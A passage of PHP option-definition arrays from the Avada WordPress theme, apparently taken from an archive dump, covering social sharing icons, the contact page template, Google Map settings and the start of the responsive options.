'footer_social_links_icon_color' => [ 'label' => esc_html__( 'Footer Social Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the footer social icons. This color will be used for all social icons in the footer.', 'Avada' ), 'id' => 'footer_social_links_icon_color', 'type' => 'color-alpha', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 20%))', 'hidden' => $has_global_footer, 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'footer_social_links_color_type', 'operator' => '==', 'value' => 'custom', ], ], 'css_vars' => [ [ 'name' => '--footer_social_links_icon_color', 'element' => '.fusion-social-network-icon', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_social_links_boxed' => [ 'label' => esc_html__( 'Footer Social Icons Boxed', 'Avada' ), 'description' => esc_html__( 'Controls if each icon is displayed in a small box.', 'Avada' ), 'id' => 'footer_social_links_boxed', 'default' => '0', 'type' => 'switch', 'hidden' => $has_global_footer, 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'footer_content_footer_social_links_boxed' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'success_trigger_event' => [ 'fusionInitTooltips' ], 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_social_links_box_color' => [ 'label' => esc_html__( 'Footer Social Icon Box Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the social icon box.', 'Avada' ), 'id' => 'footer_social_links_box_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'hidden' => $has_global_footer, 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'footer_social_links_boxed', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'footer_social_links_color_type', 'operator' => '==', 'value' => 'custom', ], ], 'css_vars' => [ [ 'name' => '--footer_social_links_box_color', 'element' => '.fusion-social-network-icon', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_social_links_boxed_radius' => [ 'label' => esc_html__( 'Footer Social Icon Boxed Radius', 'Avada' ), 'description' => esc_html__( 'Controls the box radius.', 'Avada' ), 'id' => 'footer_social_links_boxed_radius', 'default' => '4px', 'type' => 'dimension', 'hidden' => $has_global_footer, 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'footer_social_links_boxed', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--footer_social_links_boxed_radius', 'element' => '.fusion-social-network-icon', ], ], ], 'footer_social_links_boxed_padding' => [ 'label' => esc_html__( 'Footer Social Icon Boxed Padding', 'Avada' ), 'description' => esc_html__( 'Controls the interior padding of the box.', 'Avada' ), 'id' => 'footer_social_links_boxed_padding', 'default' => '8px', 'type' => 'dimension', 'hidden' => $has_global_footer, 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'footer_social_links_boxed', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--footer_social_links_boxed_padding', 'element' => '.fusion-social-networks', ], ], ], ], ], 'heading_social_sharing_box' => [ 'label' => esc_html__( 'Social Sharing', 'Avada' ), 'id' => 'heading_social_sharing_box', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'sharing_social_tagline' => [ 'label' => esc_html__( 'Social Sharing Tagline', 'Avada' ), 'description' => esc_html__( 'Insert a tagline for the social sharing boxes.', 'Avada' ), 'id' => 'sharing_social_tagline', 'default' => esc_html__( 'Share This Story, Choose Your Platform!', 'Avada' ), 'type' => 'text', 'partial_refresh' => [ // Partial refresh for the sharingbox. 'sharingbox_sharing_social_tagline' => [ 'selector' => '.fusion-theme-sharing-box.fusion-single-sharing-box', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sharingbox' ], 'success_trigger_event' => 'fusionInitTooltips', ], ], ], 'sharing_box_tagline_text_color' => [ 'label' => esc_html__( 'Social Sharing Tagline Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the tagline text in the social sharing boxes.', 'Avada' ), 'id' => 'sharing_box_tagline_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--sharing_box_tagline_text_color', 'element' => '.fusion-theme-sharing-box', 'callback' => [ 'sanitize_color' ], ], ], ], 'social_bg_color' => [ 'label' => esc_html__( 'Social Sharing Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the social sharing boxes.', 'Avada' ), 'id' => 'social_bg_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--social_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--social_bg_color-0-transparent', 'callback' => [ 'return_string_if_transparent', [ 'transparent' => '0px', 'opaque' => '', ], ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'full-transparent' ], 'element' => 'body', 'className' => 'avada-social-full-transparent', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'social_sharing_padding' => [ 'label' => esc_html__( 'Social Sharing Padding', 'fusion-builder' ), 'description' => esc_html__( 'Set the padding for the social sharing box. ', 'fusion-builder' ), 'id' => 'social_sharing_padding', 'choices' => [ 'top' => true, 'right' => true, 'bottom' => true, 'left' => true, ], 'default' => [ 'top' => '1.25em', 'right' => '1.25em', 'bottom' => '1.25em', 'left' => '1.25em', ], 'type' => 'spacing', 'transport' => 'postMessage', 'css_vars' => [ [ 'name' => '--social_sharing_padding-top', 'choice' => 'top', 'po' => false, ], [ 'name' => '--social_sharing_padding-right', 'choice' => 'right', 'po' => false, ], [ 'name' => '--social_sharing_padding-bottom', 'choice' => 'bottom', 'po' => false, ], [ 'name' => '--social_sharing_padding-left', 'choice' => 'left', 'po' => false, ], ], ], 'social_share_box_icon_info' => [ 'label' => esc_html__( 'Social Sharing Icons', 'Avada' ), 'description' => '', 'id' => 'social_share_box_icon_info', 'icon' => true, 'type' => 'info', ], 'social_sharing' => [ 'label' => esc_html__( 'Social Sharing', 'Avada' ), 'description' => esc_html__( 'Select social network you want to be displayed in the social share box.', 'Avada' ), 'id' => 'social_sharing', 'default' => [ 'facebook', 'twitter', 'bluesky', 'reddit', 'linkedin', 'whatsapp', 'telegram', 'tumblr', 'xing', 'email', 'copy_link' ], 'type' => 'select', 'multi' => true, 'choices' => [ 'facebook' => esc_html__( 'Facebook', 'Avada' ), 'twitter' => esc_html__( 'X', 'Avada' ), 'bluesky' => esc_html__( 'Bluesky', 'Avada' ), 'reddit' => esc_html__( 'Reddit', 'Avada' ), 'linkedin' => esc_html__( 'LinkedIn', 'Avada' ), 'mastodon' => esc_html__( 'Mastodon', 'Avada' ), 'whatsapp' => esc_html__( 'WhatsApp', 'Avada' ), 'telegram' => esc_html__( 'Telegram', 'fusion-builder' ), 'threads' => esc_html__( 'Threads', 'fusion-builder' ), 'tumblr' => esc_html__( 'Tumblr', 'Avada' ), 'pinterest' => esc_html__( 'Pinterest', 'Avada' ), 'vk' => esc_html__( 'VK', 'Avada' ), 'xing' => esc_html__( 'Xing', 'Avada' ), 'email' => esc_html__( 'Email', 'Avada' ), 'copy_link' => esc_html__( 'Copy Link', 'Avada' ), ], 'social_share_box_links' => [ 'selector' => '.fusion-theme-sharing-box.fusion-single-sharing-box', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sharingbox' ], 'success_trigger_event' => 'fusionInitTooltips', ], ], 'sharing_social_links_font_size' => [ 'label' => esc_html__( 'Social Sharing Icon Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the social icons in the social sharing boxes.', 'Avada' ), 'id' => 'sharing_social_links_font_size', 'default' => '16px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--sharing_social_links_font_size', 'element' => '.fusion-sharing-box', ], ], ], 'sharing_social_links_tooltip_placement' => [ 'label' => esc_html__( 'Social Sharing Icons Tooltip Position', 'Avada' ), 'description' => esc_html__( 'Controls the tooltip position of the social icons in the social sharing boxes.', 'Avada' ), 'id' => 'sharing_social_links_tooltip_placement', 'default' => 'Top', 'type' => 'radio-buttonset', 'choices' => [ 'top' => esc_html__( 'Top', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'partial_refresh' => [ // Partial refresh for the sharingbox. 'sharingbox_sharing_social_links_tooltip_placement' => [ 'selector' => '.fusion-theme-sharing-box.fusion-single-sharing-box', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sharingbox' ], 'success_trigger_event' => 'fusionInitTooltips', ], ], ], 'sharing_social_links_color_type' => [ 'label' => esc_html__( 'Social Sharing Icon Color Type', 'Avada' ), 'description' => esc_html__( 'Custom colors allow you to choose a color for icons and boxes. Brand colors will use the exact brand color of each network for the icons or boxes.', 'Avada' ), 'id' => 'sharing_social_links_color_type', 'default' => 'custom', 'type' => 'radio-buttonset', 'choices' => [ 'custom' => esc_html__( 'Custom Colors', 'Avada' ), 'brand' => esc_html__( 'Brand Colors', 'Avada' ), ], 'partial_refresh' => [ // Partial refresh for the sharingbox. 'sharingbox_sharing_sharing_social_links_color_type' => [ 'selector' => '.fusion-theme-sharing-box.fusion-single-sharing-box', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sharingbox' ], 'success_trigger_event' => 'fusionInitTooltips', ], ], ], 'sharing_social_links_icon_color' => [ 'label' => esc_html__( 'Social Sharing Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the social icons in the social sharing boxes. This color will be used for all social icons.', 'Avada' ), 'id' => 'sharing_social_links_icon_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'sharing_social_links_color_type', 'operator' => '==', 'value' => 'custom', ], ], 'css_vars' => [ [ 'name' => '--sharing_social_links_icon_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'sharing_social_links_boxed' => [ 'label' => esc_html__( 'Social Sharing Icons Boxed', 'Avada' ), 'description' => esc_html__( 'Controls if each social icon is displayed in a small box.', 'Avada' ), 'id' => 'sharing_social_links_boxed', 'default' => '0', 'type' => 'switch', 'partial_refresh' => [ // Partial refresh for the sharingbox. 'sharingbox_sharing_social_links_boxed' => [ 'selector' => '.fusion-theme-sharing-box.fusion-single-sharing-box', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sharingbox' ], 'success_trigger_event' => 'fusionInitTooltips', ], ], ], 'sharing_social_links_box_color' => [ 'label' => esc_html__( 'Social Sharing Icon Box Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the social icon box.', 'Avada' ), 'id' => 'sharing_social_links_box_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--sharing_social_links_box_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'sharing_social_links_boxed_radius' => [ 'label' => esc_html__( 'Social Sharing Icon Boxed Radius', 'Avada' ), 'description' => esc_html__( 'Controls the box radius of the social icon box.', 'Avada' ), 'id' => 'sharing_social_links_boxed_radius', 'default' => '4px', 'type' => 'dimension', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--sharing_social_links_boxed_radius', 'element' => '.fusion-social-network-icon', ], ], ], 'sharing_social_links_boxed_padding' => [ 'label' => esc_html__( 'Social Sharing Icons Boxed Padding', 'Avada' ), 'description' => esc_html__( 'Controls the interior padding of the social icon box.', 'Avada' ), 'id' => 'sharing_social_links_boxed_padding', 'default' => '8px', 'type' => 'dimension', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--sharing_social_links_boxed_padding', 'element' => '.fusion-sharing-box', ], ], ], ], ], ], ]; return $sections; } Avada/includes/options/contact.php000064400000064044152342437700013244 0ustar00 'postMeta', 'condition' => '_wp_page_template', 'operator' => '===', 'value' => 'contact.php', ], ]; $sections['contact'] = [ 'label' => esc_html__( 'Contact Template', 'Avada' ), 'id' => 'heading_contact', 'priority' => 22, 'is_panel' => true, 'icon' => 'el el-map-marker', 'alt_icon' => 'fusiona-envelope', 'fields' => [ 'contact_form_options_subsection' => [ 'label' => esc_html__( 'Contact Template', 'Avada' ), 'description' => '', 'id' => 'contact_form_options_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'contact_form_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options on this tab are only for the contact form that displays on the "Contact" page template.', 'Avada' ) . '
', 'id' => 'contact_form_important_note_info', 'type' => 'custom', ], 'email_address' => [ 'label' => esc_html__( 'Email Address', 'Avada' ), 'description' => esc_html__( 'Enter the email address the form should be sent to. This only works for the form on the contact page template.', 'Avada' ), 'id' => 'email_address', 'default' => '', 'type' => 'text', // This option doesn't require updating the preview. 'transport' => 'postMessage', ], 'contact_comment_position' => [ 'label' => esc_html__( 'Contact Form Comment Area Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of the comment field with respect to the other fields.', 'Avada' ), 'id' => 'contact_comment_position', 'default' => 'below', 'type' => 'radio-buttonset', 'choices' => [ 'above' => esc_html__( 'Above', 'Avada' ), 'below' => esc_html__( 'Below', 'Avada' ), ], 'edit_shortcut' => [ 'selector' => [ '.fusion-contact-form' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Contact Form', 'Avada' ), 'icon' => 'fusiona-pen', 'open_parent' => true, ], ], ], 'update_callback' => $contact_page_callback, ], 'contact_form_privacy_checkbox' => [ 'label' => esc_html__( 'Display Data Privacy Confirmation Box', 'Avada' ), 'description' => esc_html__( 'Turn on to display a checkbox and custom label that has to be checked in order to confirm data privacy terms and that the form can be sent.', 'Avada' ), 'id' => 'contact_form_privacy_checkbox', 'default' => '0', 'type' => 'switch', 'update_callback' => $contact_page_callback, ], 'contact_form_privacy_label' => [ 'label' => esc_html__( 'Data Privacy Checkbox Label', 'Avada' ), 'description' => esc_html__( 'Enter the contents that should be displayed as label for the data privacy checkbox. Can contain HTML.', 'Avada' ), 'id' => 'contact_form_privacy_label', 'default' => esc_html__( 'By checking this box, you confirm that you have read and are agreeing to our terms of use regarding the storage of the data submitted through this form.', 'Avada' ), 'type' => 'textarea', 'required' => [ [ 'setting' => 'contact_form_privacy_checkbox', 'operator' => '=', 'value' => '1', ], ], 'output' => [ [ 'element' => '#comment-privacy-checkbox-wrapper label', 'function' => 'html', ], ], 'update_callback' => $contact_page_callback, ], ], ], 'google_map_section' => [ 'label' => esc_html__( 'Google Map', 'Avada' ), 'description' => '', 'id' => 'google_map_section', 'default' => esc_html__( 'Google Map', 'Avada' ), 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'google_map_disabled_note' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Google Maps Script is disabled in Advanced > Theme Features section. Please enable it to see the options.', 'Avada' ) . '
', 'id' => 'google_map_disabled_note', 'type' => 'custom', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '0', ], ], 'update_callback' => $contact_page_callback, ], 'google_map_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options on this tab are for the google map that displays on the "Contact" page template. The only option that controls the Avada Builder google map element is the Google Maps API Key.', 'Avada' ) . '
', 'id' => 'google_map_important_note_info', 'type' => 'custom', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_api' => [ 'label' => esc_html__( 'Google Maps API Key', 'Avada' ), /* translators: "the Google docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to get the API key. This key applies to both the contact page map and Avada Builder google map element.', 'Avada' ), '' . esc_html__( 'the Google docs', 'Avada' ) . '' ), 'id' => 'gmap_api', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], ], 'update_callback' => $contact_page_callback, 'validate_callback' => 'fusion_fusionredux_validate_google_api_key', ], 'gmap_api_type' => [ 'label' => esc_html__( 'Google API Type', 'Avada' ), /* translators: "the Google Maps Users Guide" link. */ 'description' => sprintf( __( 'Select the Google API type that should be used to load your map. The JavaScript API allows for more options and custom styling, but could be charged for by Google depending on map loads, while the embed API can be used for free regardless of map loads. For more information please see the Google Maps Users Guide.', 'Avada' ), 'https://cloud.google.com/maps-platform/user-guide/' ), 'id' => 'gmap_api_type', 'default' => 'js', 'type' => 'radio-buttonset', 'choices' => [ 'js' => esc_html__( 'JS API', 'Avada' ), 'embed' => esc_html__( 'Embed API', 'Avada' ), ], 'edit_shortcut' => [ 'selector' => [ '#fusion-gmap-container' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Google Map', 'Avada' ), 'icon' => 'fusiona-pen', 'open_parent' => true, ], ], ], 'update_callback' => $contact_page_callback, ], 'gmap_embed_address' => [ 'label' => esc_html__( 'Address', 'Avada' ), 'description' => esc_html__( 'Add the address of the location you wish to display. Leave empty, if you don\'t want to display a map on the contact page. Address example: 775 New York Ave, Brooklyn, Kings, New York 11203. If the location is off, please try to use long/lat coordinates. ex: 12.381068,-1.492711.', 'Avada' ), 'id' => 'gmap_embed_address', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'embed', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_embed_map_type' => [ 'label' => esc_html__( 'Map Type', 'Avada' ), 'description' => esc_html__( 'Select the type of google map to display.', 'Avada' ), 'id' => 'gmap_embed_map_type', 'default' => 'roadmap', 'type' => 'radio-buttonset', 'choices' => [ 'roadmap' => esc_html__( 'Roadmap', 'Avada' ), 'satellite' => esc_html__( 'Satellite', 'Avada' ), ], 'required' => [ [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'embed', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_address' => [ 'label' => esc_html__( 'Google Map Address', 'Avada' ), 'description' => esc_html__( 'Add the address to the location you wish to display. Leave empty, if you don\'t want to display a map on the contact page. Single address example: 775 New York Ave, Brooklyn, Kings, New York 11203. If the location is off, please try to use long/lat coordinates with latlng=. ex: latlng=12.381068,-1.492711. For multiple addresses, separate addresses by using the | symbol. ex: Address 1|Address 2|Address 3.', 'Avada' ), 'id' => 'gmap_address', 'default' => '775 New York Ave, Brooklyn, Kings, New York 11203', 'type' => 'textarea', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_type' => [ 'label' => esc_html__( 'Google Map Type', 'Avada' ), 'description' => esc_html__( 'Controls the type of google map that displays.', 'Avada' ), 'id' => 'gmap_type', 'default' => 'roadmap', 'type' => 'select', 'choices' => [ 'roadmap' => esc_html__( 'Roadmap', 'Avada' ), 'satellite' => esc_html__( 'Satellite', 'Avada' ), 'hybrid' => esc_html__( 'Hybrid', 'Avada' ), 'terrain' => esc_html__( 'Terrain', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_dimensions' => [ 'label' => esc_html__( 'Google Map Dimensions', 'Avada' ), 'description' => esc_html__( 'Controls the width and height of the google map. NOTE: height does not accept percentage value.', 'Avada' ), 'id' => 'gmap_dimensions', 'units' => false, 'default' => [ 'width' => '100%', 'height' => '415px', ], 'type' => 'dimensions', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_topmargin' => [ 'label' => esc_html__( 'Google Map Top Margin', 'Avada' ), 'description' => esc_html__( 'This is only applied to google maps that are not 100% width. It controls the distance to menu/page title.', 'Avada' ), 'id' => 'gmap_topmargin', 'default' => '55px', 'type' => 'dimension', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--gmap_topmargin', 'element' => '.avada-google-map', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '$', '55px' ], 'conditions' => [ [ 'gmap_dimensions[width]', '===', '100%' ], ], ], ], ], ], ], 'map_zoom_level' => [ 'label' => esc_html__( 'Map Zoom Level', 'Avada' ), 'description' => esc_html__( 'Choose the zoom level for the map. 0 corresponds to a map of the earth fully zoomed out, and larger zoom levels zoom in at a higher resolution.', 'Avada' ), 'id' => 'map_zoom_level', 'default' => 8, 'type' => 'slider', 'choices' => [ 'min' => 0, 'max' => 22, 'step' => 1, ], 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], ], 'update_callback' => $contact_page_callback, ], 'map_pin' => [ 'label' => esc_html__( 'Address Pin', 'Avada' ), 'description' => esc_html__( 'Turn on to display the google map address pin.', 'Avada' ), 'id' => 'map_pin', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'gmap_pin_animation' => [ 'label' => esc_html__( 'Address Pin Animation', 'Avada' ), 'description' => esc_html__( 'Turn on to enable address pin animation when the map first loads.', 'Avada' ), 'id' => 'gmap_pin_animation', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_popup' => [ 'label' => esc_html__( 'Map Popup On Click', 'Avada' ), 'description' => esc_html__( 'Turn on to require a click to display the popup graphic with address info for the pin on the map.', 'Avada' ), 'id' => 'map_popup', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_scrollwheel' => [ 'label' => esc_html__( 'Map Zoom With Scrollwheel', 'Avada' ), 'description' => esc_html__( 'Turn on to enable zooming using the mouse scroll wheel. Use Cmd/Ctrl key + scroll to zoom. If set to no, zooming through two-finger movements (cooperative gesture handling) will be enabled.', 'Avada' ), 'id' => 'map_scrollwheel', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_scale' => [ 'label' => esc_html__( 'Map Scale', 'Avada' ), 'description' => esc_html__( 'Turn on to display the google map scale.', 'Avada' ), 'id' => 'map_scale', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_zoomcontrol' => [ 'label' => esc_html__( 'Map Zoom Control Icons', 'Avada' ), 'description' => esc_html__( 'Turn on to display the google map zoom control icons.', 'Avada' ), 'id' => 'map_zoomcontrol', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], ], ], 'google_map_design_styling_section' => [ 'label' => esc_html__( 'Google Map Styling', 'Avada' ), 'description' => '', 'id' => 'google_map_design_styling_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'google_map_disabled_note_1' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Google Maps Script is disabled in Advanced > Theme Features section. Please enable it to see the options.', 'Avada' ) . '
', 'id' => 'google_map_disabled_note_1', 'type' => 'custom', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '0', ], ], 'update_callback' => $contact_page_callback, ], 'google_map_styling_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options on this tab are only for the google map that displays on the "Contact" page template, they do not control the google map element. These options are only available for the JS API type.', 'Avada' ) . '
', 'id' => 'google_map_styling_important_note_info', 'type' => 'custom', 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], ], ], 'map_styling' => [ 'label' => esc_html__( 'Select the Map Styling', 'Avada' ), 'description' => esc_html__( 'Controls the google map styles. Default is google style, Theme is our style, or choose Custom to select your own style options below.', 'Avada' ), 'id' => 'map_styling', 'default' => 'default', 'type' => 'select', 'choices' => [ 'default' => esc_html__( 'Default Styling', 'Avada' ), 'theme' => esc_html__( 'Theme Styling', 'Avada' ), 'custom' => esc_html__( 'Custom Styling', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_overlay_color' => [ 'label' => esc_html__( 'Map Overlay Color', 'Avada' ), 'description' => esc_html__( 'Custom styling setting only. Pick any overlaying color for the map besides pure black or white. Works best with "roadmap" type.', 'Avada' ), 'id' => 'map_overlay_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'map_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_infobox_styling' => [ 'label' => esc_html__( 'Info Box Styling', 'Avada' ), 'description' => esc_html__( 'Custom styling setting only. Controls the styling of the info box.', 'Avada' ), 'id' => 'map_infobox_styling', 'default' => 'default', 'type' => 'select', 'choices' => [ 'default' => esc_html__( 'Default Infobox', 'Avada' ), 'custom' => esc_html__( 'Custom Infobox', 'Avada' ), ], 'required' => [ [ 'setting' => 'map_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_infobox_content' => [ 'label' => esc_html__( 'Info Box Content', 'Avada' ), 'description' => esc_html__( 'Custom styling setting only. Type in custom info box content to replace the default address string. For multiple addresses, separate info box contents by using the | symbol. ex: InfoBox 1|InfoBox 2|InfoBox 3', 'Avada' ), 'id' => 'map_infobox_content', 'default' => '', 'type' => 'textarea', 'required' => [ [ 'setting' => 'map_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_infobox_bg_color' => [ 'label' => esc_html__( 'Info Box Background Color', 'Avada' ), 'description' => esc_html__( 'Custom styling setting only. Controls the info box background color.', 'Avada' ), 'id' => 'map_infobox_bg_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'map_infobox_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'map_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_infobox_text_color' => [ 'label' => esc_html__( 'Info Box Text Color', 'Avada' ), 'description' => esc_html__( 'Custom styling setting only. Controls the info box text color.', 'Avada' ), 'id' => 'map_infobox_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'map_infobox_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'map_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], 'map_custom_marker_icon' => [ 'label' => esc_html__( 'Custom Marker Icon', 'Avada' ), 'description' => esc_html__( 'Custom styling setting only. Use full image urls for custom marker icons or input "theme" for our custom marker. For multiple addresses, separate icons by using the | symbol or use one for all. ex: Icon 1|Icon 2|Icon 3', 'Avada' ), 'id' => 'map_custom_marker_icon', 'default' => '', 'type' => 'textarea', 'required' => [ [ 'setting' => 'map_infobox_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'map_styling', 'operator' => '==', 'value' => 'custom', ], [ 'setting' => 'status_gmap', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'gmap_api_type', 'operator' => '=', 'value' => 'js', ], ], 'update_callback' => $contact_page_callback, ], ], ], ], ]; return $sections; } Avada/includes/options/responsive.php000064400000027223152342437700014004 0ustar00 esc_html__( 'Responsive', 'Avada' ), 'id' => 'mobile', 'priority' => 2, 'icon' => 'el-icon-resize-horizontal', 'alt_icon' => 'fusiona-mobile', 'fields' => [ 'responsive' => [ 'label' => esc_html__( 'Responsive Design', 'Avada' ), 'description' => esc_html__( 'Turn on to use the responsive design features. If set to off, the fixed layout is used.', 'Avada' ), 'id' => 'responsive', 'default' => '1', 'type' => 